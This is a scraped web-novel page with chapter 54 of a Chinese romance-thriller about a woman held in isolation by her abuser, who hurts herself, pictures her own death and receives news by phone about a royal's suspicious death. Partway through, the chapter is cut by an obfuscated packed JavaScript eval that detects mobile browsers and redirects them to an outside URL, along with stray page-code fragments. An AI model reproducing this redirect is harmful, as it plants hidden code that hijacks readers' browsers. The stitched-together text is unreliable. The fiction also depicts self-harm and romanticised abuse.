默认冷灰
24号文字
方正启体

54. 她的忍耐

作者:萧瑁本书字数:K更新时间:
    虞姿这辈子再也不想做恨了。


    叶明来又像上次一样,故意让她感觉特别糟糕。


    他让她觉得她渺小又可悲,她的存在毫无价值,她不值得被好好对待...


    假如只是这样,咬牙忍耐过去就算了。


    偏偏,因为这是在四天的禁闭后,她唯一所能得到的互动。


    她的身体居然很喜欢。


    他的冷漠与漫不经心,他随意地摆弄她,甚至他始终没有摘下手套、拒绝触碰她的皮肤,连这种拒绝她也喜欢。


    如同一个饿到极点的人,根本不在乎吃到肚子里的是什么,她一味贪婪地吞下一切他提供给她的东西,之后还久久回味,期待下一次的到来。


    虞姿明明不想回味!


    叶明来离开后,她却在床垫上蜷成一团,将双腿紧紧地并在一起,膝盖轻轻地来回摩擦。


    像绞住了猎物的蛇,她企图将最后一点点肉汁也榨出来,抿在嘴里,细细品尝。


    动作时,虞姿的脸颊涨得通红。


    在空无一人的房间里,她仍将脸埋在膝盖间,想要逃避那些其实并不存在的评判眼光。


    太可耻了!


    她在干嘛啊!


    叶明来都没有想要驯服她,他单纯想把她弄死而已,她自己就变成这样了。


    她痛恨自己不争气的身体!


    她希望这股焦渴的、灼热的、贪恋的感觉快点消失!


    不久后,它们的确消失了。


    紧接着向她袭来的,却是更糟糕的感觉。


    死寂、孤独与空虚铸成的重锤,以一种要把她彻底摧毁的力道,重重砸在身上。


    她立刻开始怀念那些刚刚消失的感觉。


    她忍不住来回抚摸自己的后颈,好似想要挽留叶明来曾按在上面的手。


    多希望他的手仍用力地按着她的后颈,让她不能动弹。


    多希望他戴的那双皮质手套的触感,能烙在她皮肤上。


    留下来啊!


    别让她一个人啊!


    可是,她身边只剩下空气。


    虞姿的手指神经质地震颤起来。


    她越来越用力地摸着后颈处的皮肤,她的指甲逐渐抠进了皮肤里,鲜红的伤痕被拉扯出来,血珠慢慢渗出,在雪白的皮肤上像一串串小粒的红宝石,随后血珠慢慢凝固,变成一道道紫红色的、细长的血痂。


    许久,虞姿才察觉到皮肤上的刺痛。


    她连忙收回手。


    指尖上的血迹,清楚地昭示着,她现在的状态不对劲。


    得振作精神才行...


    虞姿深吸一口气,走向房间中那把灰色的折叠椅。


    折叠椅上,原本摆放着方形的液晶屏时钟。


    叶明来把时钟拿走了。


    但他也拿了一份资料放在这里,留给她看。


    彩色打印的资料上,列出了五个位于海边的地点,以供她选择。


    前三个是知名的海岛旅游胜地,其中两个虞姿以前都去过。


    第四个是一个岩石林立的偏僻海滩,陡峭的岩石突兀地刺出海面,像一把把长枪立在岸边。


    最后一个是历史景点,一座建在临海悬崖上的白色哨塔,由于海水和海风的侵蚀,哨塔的部分瞭望台已经探出了悬崖外,看上去极为危险,也极为漂亮。


    虞姿完全可以想象,她在哨塔的窗台上探身向外看时,一不小心失足跌落,被下方的海水吞没。


    ...这是否是他为她设计的死法?


    理智上,她知道这很残忍。


    可她已然错乱的那一部分大脑,甜蜜地想,好浪漫啊!


    叶明来很在乎她怎么死掉,他脑子里设想过好多种她的死法,他还专门为她做了这份资料!


    是他亲自找的资料吗?


    还是他早就在这些地方处理过其他人,这些都是二手地点了?


    如果有其他人也这样死过,她才不要!


    她要用这个理由拒绝他,让他再为她找一些不同的地点,一些只属于她的死亡地点...


    想着,虞姿将这份资料紧紧抱在胸口,亢奋地在房间里旋转起来。


    假装叶明来就在这里,她一边跳舞那样轻盈地旋转、小跳,一边对幻想中的他说:“前面两个海岛,我才不要呢。我以前去过那里,你不知道吗?我之前的那几任,他们带我去的。你要让我死在别人带我去过的地方吗?不会吧?”


    听到这些话,叶明来一定又会生气了。


    想象着他的表情,虞姿咬住嘴唇,吃吃地笑了。


    她伸出手,轻柔地抚摸面前的水泥墙面,仿佛那是叶明来站在那里。


    她用拇指和食指揪住并不存在的叶明来衣服上的纽扣,撒娇地说:“第三个海岛我也不要。那是知名的蜜月海岛耶,我和你在一起的时候,你都没带我去过,单身的时候我就更不会去了!——谁会一个人去这种蜜月海岛旅游啊,一点都不合理!如果我自己选目的地的话,第一个淘汰的就是它。”


    虞姿没完没了地数落着资料上每个地点的缺点。


    她不喜欢、她都不喜欢,她才不要死在这些地方!


    她才不要!


    她要活着!


    即使绝望的可怕的悲伤的痛苦的思绪再次纷至沓来。


    她耳边又产生了幻听,拉肯正在满怀怨恨地冲她尖叫,拉肯要她去死,要她为卡沙拉奇偿命,要她立刻下地狱,在充满硫磺味道的火焰里被折磨无数年。


    她眼前浮现古怪的血红色,仿佛那辆樱桃红的宾利欧陆又出现在面前,她分不清那是叶明来送她的那辆,还是发生车祸时,撞上了妈妈的那辆。


    虞姿将手里的资料丢在地上,捂住耳朵,第无数次哭泣起来。


    在哭泣中,她的思维和身体,成为了两个过度磨损的齿轮,彼此不再吻合。


    她想要振作精神、停止哭泣,却做不到。


    她的意识无法再支配身体。


    她脱离了她自己,悬浮在身体的上方,像一个被剪断了线的风筝,她飘飘荡荡,一直飞到天花板上。


    在那里,她在无意识与有意识中起伏,被孤独冲刷,被痛苦穿透...


    时间在周围缓慢地流动,琥珀那样包住她,要把她永远凝固在这里。


    虞姿不想这成为她的结局。


    绝对不要!


    她绝望地挣扎。


    一点点地,虞姿挪动四肢,爬到房间中央,抓住躺在地上的雪白床垫。


    将床垫拖到墙角、立在墙边,在那里搭出一个三角形的庇护所。


    钻进庇护所里,虞姿开始演奏空气小提琴。


    音乐是最后一根绳索,维持着她与现实的联系。


    直到手臂酸痛、无力维持姿势,她也不敢停下。


    如此拼尽全力地坚持着...


    一天的时间,是否被熬过去了?


    失去了时钟,虞姿无法判断时间。


    她呆呆地注视着近在咫尺的水泥墙面。


    墙上不规律的水泥点,是否暗示着什么?是否能告诉她时间?


    她的思绪又要飘出身体了...


    突然间,房间里出现一种刺耳的声音。


    这陌生而响亮的动静,像一针肾上腺素扎在虞姿大腿上。


    她的心跳猛然加快,身体却作不出动作。


    十几秒后,她才迟缓地扭过头,看向声音传来的地方。


    在折叠椅下方,一个老式的翻盖手机,正在响声大作。


    ——是马金娜送她的那部一次性手机...!


    马金娜!


    马金娜又打来电话了,这次是为什么?


    她应该接吗?接了这个电话,她会给马金娜带去危险吗?叶明来不至于丧心病狂到连马金娜也不放过吧?


    虞姿犹豫了片刻。


    可,不远处的手机,对她的诱惑实在太大了。


    她无法抵抗。


    她想,叶明来肯定不会找马金娜算账的,他说不定都不知道马金娜是谁,而且这是无法追踪的老式一次性手机,只要接了电话后她不说什么暴露的话,他永远不会知道马金娜的身份。


    再说,马金娜本来就和这一切无关,她只是为沙国王室服务的普通工作人员,她们意外成为了朋友。


    她应当被允许有一个朋友,她唯一一个朋友...


    虞姿膝行到折叠椅旁边,捡起手机,接通了电话。


    她屏住呼吸,凝神倾听。


    手机里,传来马金娜隐含关心的声音:“虞姿,今天已经6月12日了,你还没有回来。”


    这声音,像蜂蜜与热水,滋润了她疲倦的身体。


    她的大脑也得到了润滑,立刻就想起来,马金娜说得对,今天,她本该回到沙国了。


    在沙国女王伊莎贝拉二世的两百周年诞辰纪念日之前,虞姿离开了沙国,前往萨普,去祭奠妈妈。


    按照沙国王室的要求,在那之后,她必须按时返回沙国。


    如果在诞辰纪念日过后的一周内,也就是6月12日之前,她没有按时返回沙国,将被视为自动放弃沙国的庇护。


    今天,就是6月12日。


    她回不去了...


    她为什么回不去...


    不用她说,马金娜也应该猜到了实情。


    毕竟,卡沙拉奇亲王的死讯还是马金娜告诉她的。


    马金娜轻声问:“虞姿,你现在安全吗?——你没回来,是不是因为...叶明来找到你了?”


    虞姿没有说话。


    沉默就是她的答案。


    马金娜的声音更轻了:“你现在方便说话吗?”


    虞姿小小声说:“我不能,但你应该可以。我在一个...安全屋里,这里没有其他人,只有监控...”


    马金娜顿了顿,明白自己对此做不了什么,就开始告诉虞姿她所知道的新消息。


    她说:“叶明来在今天下午抵达沙国。他与卡沙拉奇亲王所签署的协议,已经获得了女王的承认,因此,在夏宫的伊莎贝拉二世纪念展览结束后,他拿走了那把小提琴。”


    ...怪不得先前叶明来过来见她时,看起来心情不错。


    原来是他马上就要去沙国收回小提琴了。


    真快啊,这才几天,琴又归他所有了。


    她折腾了两年多,一无所获,他却想要什么就能得到什么...


    虞姿用力咬住嘴唇。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165832|196711||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    马金娜接着说:“王室在今晚八点举行了新闻发布会,公布了卡沙拉奇亲王的死讯。具体细节未被提及。由于卡沙拉奇亲王迎回了【伊莎贝拉二世】,他在民众中收获了大量声望,他的葬礼将会十分隆重,暂定于三天后举行。届时,塞里提公主作为王位的第一顺位继承人,将会代替身体不适的女王,主持这场葬礼。”


    “...”


    “目前有一些谣言,认为这场直升机事故是塞里提公主制造的,因为女王的健康状况每况愈下,卡沙拉奇亲王的声望又突然高涨,塞里提公主必须尽快施展手段,巩固自己的地位。另一些谣言则说,事故是女王的手笔,因为女王想在去世前,为自己最心爱的女儿扫清道路。真实情况,我们不得而知。在调查中,我们得到的信息是,当天直升机的驾驶员,是塞里提公主在军队服役时的同期军人;机内的随行人员,是女王本人亲自指派给卡沙拉奇亲王的;直升机系统的失灵,是受到了外界不明来源的信号干扰。这些细节并未在新闻发布会中披露给外界。”


    虞姿茫然地听着。


    和所有参与调查的人一样,她也分不清事故究竟是怎么回事了。


    是王室斗争,还是叶明来策划的完美犯罪?


    又或者,这真的是意外...


    马金娜告诉她:“总之,关于卡沙拉奇亲王去世原因的调查已经结束了。虽然谣言仍未平息,但对于目前的情况,所有人均表示满意,尤其是女王本人,和塞里提公主。——在叶明来前往夏宫收回【伊莎贝拉二世】的途中,塞里提公主作为卡沙拉奇亲王葬礼的主持人,特别对叶明来发出邀请,希望他能作为卡沙拉奇亲王生前的好友,同时也是纪念展览上那把小提琴的提供者,在葬礼上进行致辞。叶明来欣然同意。”


    “...”


    “拉肯女爵也将代表卡沙拉奇亲王的孩子们,在葬礼上进行致辞。对她来说,正如调查结果所显示的,这是一场意外。她认为,她的父亲恰巧在意外死亡前迎回了小提琴,这是一件非常幸运的事。是老天的偏爱,让她的父亲达成了夙愿,了无遗憾地离开。既然他离开时没有遗憾,她也不该为此遗憾。事情到此就...圆满结束了。”


    马金娜的语气客观而平静。


    她所叙述的内容,却是那么的讽刺。


    虞姿不知该作何反应。


    可能的加害者们,一个即将主持受害者的葬礼,另一个受邀为受害者致辞。


    受害者的女儿,在悲痛之后,反而为了死者离世的时机而感谢老天。


    荒唐至极。


    该为此愤怒、还是悲伤?


    她的愤怒与悲伤,又有什么用?


    这个世界似乎从来就是如此,也将一直如此。


    所有一切都被抹平了,坏事从未发生过。


    明日的阳光和昨日今日一样照耀在权力上,它一尘不染,熠熠生辉,不在乎有多少鲜血和眼泪为它而流。


    马金娜低声说:“和王室有关的消息就是这些了。我不知道你现在怎么样。希望你...能好好的。——你不必为你的哥哥担心。塞里提公主越来越看重他了,不久前,他已经开始与公主共同生活。在公主的离婚手续办完之前,他会尽量避免在外界公开露面。他各方面都很安全。”


    虞姿仍在发怔。


    即使听说泽森没事,她也反应不过来。


    马金娜又问:“你还有什么想知道的吗?”


    虞姿脑子里几乎是空白的。


    但现在可不是发呆的时候。


    她拼命催促大脑、想点办法出来。


    好不容易和外界联系上,每一秒都比黄金还珍贵。


    此刻,在监控下,她能问点什么,既不引起怀疑,又能对她有所帮助呢?


    十几秒后,虞姿极小声地问:“你能告诉我,现在几点了吗?”


    这个问题,让马金娜立刻就意识到了她的处境。


    什么情况下,一个人会无法得知现在的时间?


    马金娜的声音短暂地颤抖了一下:“现在...现在是6月12日,晚上九点二十四分。——虞姿,你刚才说,你在一个有监控的‘安全屋’中,身边没有其他人。显然,你身边也没有时钟。我说得对吗?”


    “对...”


    “我知道了。我是否可以假设,这种情况之前已经持续了一段时间,之后还会持续一段时间?”


    “嗯...”


    “之后的那段时间里,你还能使用这个手机接电话吗?”


    “应该可以...这里没有别人,但我没办法给手机充电...”


    “我明白了。虞姿,听好,这部手机一旦开机,在完全待机的状态下,电池足够连续开机二十天。即使我们已经用它通过两次电话,它的电量也应该还能再坚持十五天。那么,从今天起,每晚的这个时间,我会给你打一通电话。电话只响三声,你不需要接。你只需要记住,听到铃声,就代表当前的时间是晚上九点半。”


    “九点半...”


    “对,晚上九点半。——现在,为了尽量省电,我必须要挂电话了。你...”


    “...”


    “你要坚持住。有机会的话,我...我还想听你拉小提琴。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)